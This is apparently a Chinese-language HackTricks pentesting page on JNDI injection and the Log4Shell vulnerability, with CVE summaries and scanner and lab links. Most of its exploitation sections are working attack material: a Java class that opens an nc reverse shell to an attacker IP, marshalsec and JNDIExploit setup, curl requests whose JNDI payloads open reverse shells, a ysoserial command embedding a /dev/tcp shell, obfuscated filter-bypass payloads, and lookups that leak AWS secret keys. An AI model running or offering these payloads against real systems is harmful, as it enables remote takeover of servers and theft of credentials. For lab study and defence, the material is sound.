> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md).

# JNDI - Java Naming and Directory Interface & Log4Shell

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 基本信息

自上世纪90年代末集成到Java中的JNDI作为目录服务，使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口（SPIs）支持各种目录服务，允许从不同系统（包括远程Java对象）检索数据。常见的SPI包括CORBA COS、Java RMI Registry和LDAP。

### JNDI命名引用

Java对象可以使用JNDI命名引用存储和检索，有两种形式：

* **引用地址**：指定对象的位置（例如，*rmi://server/ref*），允许直接从指定地址检索。
* **远程工厂**：引用远程工厂类。访问时，该类将从远程位置下载并实例化。

然而，这种机制可能会被利用，潜在地导致加载和执行任意代码。作为对策：

* **RMI**：从JDK 7u21起，默认为`java.rmi.server.useCodeabseOnly = true`，限制远程对象加载。安全管理器进一步限制可加载的内容。
* **LDAP**：从JDK 6u141、7u131、8u121起，默认为`com.sun.jndi.ldap.object.trustURLCodebase = false`，阻止执行远程加载的Java对象。如果设置为`true`，则可以在没有安全管理器监督的情况下执行远程代码。
* **CORBA**：没有特定属性，但安全管理器始终处于活动状态。

然而，负责解析JNDI链接的**命名管理器**缺乏内置安全机制，可能允许从任何来源检索对象。这会带来风险，因为可以绕过RMI、LDAP和CORBA保护，导致加载任意Java对象或利用现有应用程序组件（小工具）运行恶意代码。

可利用的URL示例包括：

* *rmi://attacker-server/bar*
* *ldap\://attacker-server/bar*
* *iiop\://attacker-server/bar*

尽管有保护措施，漏洞仍然存在，主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。

### JNDI示例

![](/files/D53HgyrMgsF3J26RYXNO)

即使您已设置了\*\*`PROVIDER_URL`\*\*，您也可以在查找中指定不同的URL并访问：`ctx.lookup("<attacker-controlled-url>")`，这是攻击者将滥用以从由他控制的系统加载任意对象的方法。

### CORBA概述

CORBA（通用对象请求代理体系结构）使用\*\*可互操作对象引用（IOR）\*\*来唯一标识远程对象。此引用包括关键信息，如：

* **类型ID**：接口的唯一标识符。
* **代码库**：用于获取存根类的URL。

值得注意的是，CORBA本身并不易受攻击。确保安全通常涉及：

* 安装**安全管理器**。
* 配置安全管理器以允许连接到潜在恶意代码库。可以通过以下方式实现：
* Socket权限，例如，`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
* 文件读取权限，可以是全局的（`permission java.io.FilePermission "<<ALL FILES>>", "read";`）或针对可能放置恶意文件的特定目录。

然而，一些供应商政策可能宽松，允许默认情况下进行这些连接。

### RMI上下文

对于RMI（远程方法调用），情况略有不同。与CORBA一样，默认情况下限制了任意类的下载。要利用RMI，通常需要绕过安全管理器，这也适用于CORBA。

### LDAP

首先，我们需要区分搜索和查找。\
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL来查找LDAP服务器中的JNDITutorial对象并**检索其属性**。\
**查找**用于**命名服务**，因为我们想要获取**绑定到名称的任何内容**。

如果LDAP搜索使用了`SearchControls.setReturningObjFlag()`并设置为`true`，则返回的对象将被重建。

因此，有几种攻击这些选项的方法。\
**攻击者可以在LDAP记录中植入有效负载**，这些有效负载将在收集它们的系统中执行（如果您可以访问LDAP服务器，则非常有用，可以**危害数十台机器**）。另一种利用方法是在LDAP搜索中执行**中间人攻击**，例如。

如果您可以**让应用程序解析JNDI LDAP URL**，则可以控制将被搜索的LDAP，并且可以发送回利用（log4shell）。

#### 反序列化利用

![](/files/7uc4QAhPtbRLSLjrPgKf)

**利用被序列化**，将进行反序列化。\
如果`trustURLCodebase`为`true`，攻击者可以在代码库中提供自己的类；如果不是，则需要在类路径中滥用小工具。

#### JNDI引用利用

更容易攻击此LDAP使用**JavaFactory引用**：

![](/files/SZpqiIR7P1tvP9u8xK9t)

## Log4Shell漏洞

该漏洞是由于Log4j支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)，形式为`${prefix:name}`，其中`prefix`是多种不同[**查找**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一，`name`应该被评估。例如，`${java:version}`是当前运行的Java版本。

[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能通过JNDI检索变量。通常，密钥会自动添加前缀`java:comp/env/`。但是，如果密钥本身包含\*\*“:”\*\*，则不会应用此默认前缀。

如果密钥中存在\*\*“:”\*\*，例如`${jndi:ldap://example.com/a}`，则没有前缀，**LDAP服务器将查询对象**。这些查找可以用于Log4j的配置以及记录行时。

因此，要实现RCE，只需有一个**受用户控制的信息的易受攻击版本的Log4j**。由于这是Java应用程序广泛使用的库，用于记录信息（包括面向互联网的应用程序），因此很常见使用log4j记录例如接收的HTTP标头，如User-Agent。但是，log4j**不仅用于记录HTTP信息，还用于记录任何输入**和开发人员指定的数据。

## Log4Shell相关CVE概述

### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[关键]**

这个漏洞是`log4j-core`组件中的关键**未受信任的反序列化漏洞**，影响版本从2.0-beta9到2.14.1。它允许**远程代码执行（RCE）**，使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告，并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。可用于防御的Sigma规则（[规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml)，[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。

### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[关键]**

最初评级较低，但后来升级为关键，这个CVE是由于对CVE-2021-44228在2.15.0中的修复不完整而导致的\*\*拒绝服务（DoS）\*\*漏洞。它影响非默认配置，允许攻击者通过精心制作的载荷发起DoS攻击。一条[tweet](https://twitter.com/marcioalm/status/1471740771581652995)展示了一种绕过方法。该问题在版本2.16.0和2.12.2中得到解决，方法是删除消息查找模式并默认禁用JNDI。

### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]**

影响非默认配置中使用`JMSAppender`的**Log4j 1.x版本**，这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复程序，该分支已经终止生命周期，建议升级到`log4j-core 2.17.0`。

### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]**

这个漏洞影响**Logback日志框架**，这是Log4j 1.x的后继者。此前被认为是安全的框架被发现存在漏洞，新版本（1.3.0-alpha11和1.2.9）已发布以解决此问题。

### **CVE-2021-45105** **\[高]**

Log4j 2.16.0存在一个DoS漏洞，促使发布`log4j 2.17.0`来修复该CVE。更多详细信息请参阅BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。

### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)

影响log4j版本2.17，这个CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参阅[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。

## Log4Shell利用

### 发现

如果未受保护，这个漏洞很容易被发现，因为它会向您在有效载荷中指定的地址发送至少一个**DNS请求**。因此，像以下这样的有效载荷：

* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`（使用[canarytokens.com](https://canarytokens.org/generate)）
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`（使用[interactsh](https://github.com/projectdiscovery/interactsh)）
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}`（使用Burp Suite）
* `${jndi:ldap://2j4ayo.dnslog.cn}`（使用[dnslog](http://dnslog.cn)）
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`（使用[huntress](https://log4shell.huntress.com)）

请注意，**即使收到DNS请求，也不意味着应用程序是可利用的**（甚至是有漏洞的），您需要尝试利用它。

{% hint style="info" %}
请记住，要**利用版本2.15**，您需要添加**本地主机检查绕过**：${jndi:ldap\://**127.0.0.1#**...}
{% endhint %}

#### **本地发现**

搜索**本地易受攻击版本**的库：

```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```

### **验证**

之前列出的一些平台将允许您插入一些变量数据，当请求时将被记录。\
这对两件事情非常有用：

* **验证**漏洞
* 滥用漏洞**窃取信息**

例如，您可以请求类似于：\
或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**，如果收到带有环境变量值的**DNS请求**，则说明应用程序存在漏洞。

您可以尝试**泄露**的其他信息：

```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information
```

### RCE 信息

{% hint style="info" %}
在 JDK 版本高于 6u141、7u131 或 8u121 的主机上，已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 `com.sun.jndi.ldap.object.trustURLCodebase`，阻止了 JNDI 通过 LDAP 加载远程代码库。然而，需要注意的是这些版本**仍然无法防御反序列化攻击向量**。

对于试图利用这些较高 JDK 版本的攻击者来说，有必要利用 Java 应用程序中的**受信任小工具**。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反，利用较低 JDK 版本相对较容易，因为这些版本可以被操纵以加载和执行任意类。

要了解**更多信息**（*如 RMI 和 CORBA 向量的限制*），请查看之前的 JNDI 命名参考部分或<https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/>
{% endhint %}

### RCE - 使用自定义有效载荷的 Marshalsec

您可以在 **THM box** 中测试此功能：[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)

使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)（jar 版本可在[**此处**](https://github.com/RandomRobbieBF/marshalsec-jar)找到）。这种方法建立了一个 LDAP 引荐服务器，将连接重定向到一个次要的 HTTP 服务器，其中将托管利用程序：

```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```

为了促使目标加载一个反向 shell 代码，创建一个名为 `Exploit.java` 的 Java 文件，内容如下：

```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```

将Java文件编译为类文件使用：`javac Exploit.java -source 8 -target 8`。接下来，在包含类文件的目录中启动**HTTP服务器**：`python3 -m http.server`。确保**marshalsec LDAP服务器**引用了这个HTTP服务器。

通过发送类似以下负载的触发方式，触发对易受攻击的Web服务器上的exploit类的执行：

```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```

**注意：** 这个漏洞利用取决于Java的配置，允许通过LDAP加载远程代码库。如果这是不允许的，请考虑利用受信任的类来执行任意代码。

### RCE - **JNDIExploit**

{% hint style="info" %}
请注意，由于发现了log4shell，作者出于某种原因从github中删除了这个项目。您可以在<https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2>中找到缓存版本，但如果您想尊重作者的决定，请使用其他方法来利用此漏洞。

此外，您无法在wayback machine中找到源代码，因此要么分析源代码，要么执行jar文件，知道您不知道自己在执行什么。
{% endhint %}

例如，您可以在端口8080上运行此**易受log4shell影响的Web服务器**：<https://github.com/christophetd/log4shell-vulnerable-app>（*在自述文件中，您将找到如何运行它的说明*）。这个易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头\_X-Api-Version\_的内容。

然后，您可以下载**JNDIExploit** jar文件并执行以下操作：

```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```

阅读代码仅需几分钟，在\_com.feihong.ldap.LdapServer\_和\_com.feihong.ldap.HTTPServer\_中，您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载，并将受害者重定向到HTTP服务器，后者将提供利用。\
在\_com.feihong.ldap.gadgets\_中，您可以找到**一些特定的小工具**，可用于执行所需的操作（潜在执行任意代码）。在\_com.feihong.ldap.template\_中，您可以看到将**生成利用**的不同模板类。

您可以使用\*\*`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`\*\*查看所有可用的利用。一些有用的利用包括：

```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```

因此，在我们的示例中，我们已经运行了那个存在漏洞的 Docker 应用程序。要对其发起攻击：

```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```

在发送攻击时，您将在执行**JNDIExploit-1.2-SNAPSHOT.jar**的终端中看到一些输出。

**记得检查`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`以获取其他利用选项。此外，如果需要，您可以更改LDAP和HTTP服务器的端口。**

### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>

类似于之前的利用方式，您可以尝试使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)来利用此漏洞。\
您可以生成要发送给受害者的URL：

```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```

*这种利用自定义生成的Java对象的攻击在像**THM太阳房间**这样的实验室中可以使用。然而，这通常不起作用（因为默认情况下Java未配置为使用LDAP加载远程代码库），我认为这是因为它没有滥用受信任的类来执行任意代码。*

### RCE - JNDI注入利用加强版

<https://github.com/cckuailong/JNDI-Injection-Exploit-Plus> 是另一个用于生成**可用的JNDI链接**并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务的工具。\\

### RCE - ysoserial 和 JNDI利用工具包

这个选项对于攻击**仅信任指定类而不是所有人的Java版本**非常有用。因此，**ysoserial**将被用来生成**受信任类的序列化**，这些序列化可以用作**执行任意代码的小工具**（*ysoserial滥用的受信任类必须被受害者Java程序使用，以使利用生效*）。

使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)，您可以创建将被JNDI下载的反序列化利用程序：

```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```

使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**，在那里漏洞将等待来自受影响机器的连接。您可以提供由JNDI-Exploit-Kit自动生成的**不同的漏洞利用**，甚至是您自己生成的反序列化有效负载（由您或ysoserial生成）。

```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```

![](/files/RPG79enYXBbEiEcTKki3)

现在您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向shell**，只需发送到一个易受攻击的log4j版本：**`${ldap://10.10.14.10:1389/generated}`**

### 绕过方式

```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```

### 自动扫描器

* <https://github.com/fullhunt/log4j-scan>
* <https://github.com/adilsoybali/Log4j-RCE-Scanner>
* <https://github.com/silentsignal/burp-log4shell>
* <https://github.com/cisagov/log4j-scanner>
* <https://github.com/Qualys/log4jscanwin>
* <https://github.com/hillu/local-log4j-vuln-scanner>
* <https://github.com/logpresso/CVE-2021-44228-Scanner>
* <https://github.com/palantir/log4j-sniffer> - 查找本地易受攻击的库

### 实验室测试

* [**LogForge HTB 机器**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)

## Log4Shell 漏洞利用后

在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中很好地解释了如何**滥用**Log4J的一些功能。

Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)中有一些有趣的句子：

> 从版本2.16.0（适用于Java 8）开始，**消息查找功能已完全移除**。**配置中的查找仍然有效**。此外，Log4j现在默认禁用对JNDI的访问。配置中的JNDI查找现在需要显式启用。

> 从版本2.17.0开始（对于Java 7和Java 6分别为2.12.3和2.3.1），**只有配置中的查找字符串会被递归展开**；在任何其他用途中，只有顶层查找会被解析，任何嵌套查找都不会被解析。

这意味着默认情况下，您可以**忘记使用任何`jndi`漏洞**。此外，要执行**递归查找**，您需要配置它们。

例如，在该CTF中，文件log4j2.xml中配置了以下内容：

```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```

### 环境查找

在[这个CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)中，攻击者控制了`${sys:cmd}`的值，并需要从环境变量中窃取标志。\
如在[**之前的有效载荷**](#verification)页面中所见，有不同的方式可以访问环境变量，比如：**`${env:FLAG}`**。在这个CTF中这是无用的，但在其他现实场景中可能会有用。

### 异常中的数据窃取

在CTF中，你**无法访问java应用程序的stderr**，但Log4J的**异常会发送到stdout**，并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是：**`${java:${env:FLAG}}`**。这能够工作是因为\*\*`${java:CTF{blahblah}}`\*\*不存在，异常将显示标志的值：

![](/files/7Jq7nvzc73Prrqvg0DPc)

### 转换模式异常

仅提一下，你也可以注入新的[**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)并触发将被记录到`stdout`的异常。例如：

![](/files/ufZGrYFvwsMrsudcneMa)

这并没有发现有用于在错误消息中窃取日期，因为查找在转换模式之前没有解决，但它可能对其他事情有用，比如检测。

### 转换模式正则表达式

然而，可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二分查找**或**基于时间**的行为从查找中窃取信息。

* **通过异常消息进行二分查找**

转换模式\*\*`%replace`**可以用于**替换**字符串中的**内容\*\*，甚至使用**正则表达式**。它的工作方式如下：`replace{pattern}{regex}{substitution}`\
滥用这种行为，你可以使替换**在正则表达式匹配到任何字符串内的内容时触发异常**（如果未找到则不会触发异常），如下所示：

```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```

* **基于时间的攻击**

正如前一节中提到的，**`%replace`** 支持 **正则表达式**。因此，可以使用来自[**ReDoS页面**](/pentesting-web/regular-expression-denial-of-service-redos.md)的有效载荷来引发超时，以便在找到标志时触发超时。\
例如，像 `%replace{${env:FLAG}}{^(?=CTF)((.`*`)`*`)*salt$}{asd}` 这样的有效载荷将在那个CTF比赛中触发超时。

在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中，它使用了一种**放大攻击**来导致响应中的时间差异：

> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> 如果标志以 `flagGuess` 开头，则整个标志将被替换为 29 个 `#`（我使用这个字符是因为它可能不是标志的一部分）。**然后，每个生成的 29 个 `#` 将被替换为 54 个 `#`**。这个过程重复进行 **6 次**，总共产生了 ` 29*54*54^6* =`` `` `**`96816014208`** **个 `#`！**
>
> 替换这么多 `#` 将触发 Flask 应用程序的 10 秒超时，从而导致向用户发送 HTTP 状态码 500。（如果标志不以 `flagGuess` 开头，我们将收到非 500 状态码）

## 参考资料

* <https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/>
* <https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/>
* <https://www.youtube.com/watch?v=XG14EstTgQ4>
* <https://tryhackme.com/room/solar>
* <https://www.youtube.com/watch?v=Y8a5nB-vy78>
* <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf>
* <https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/>
* <https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>
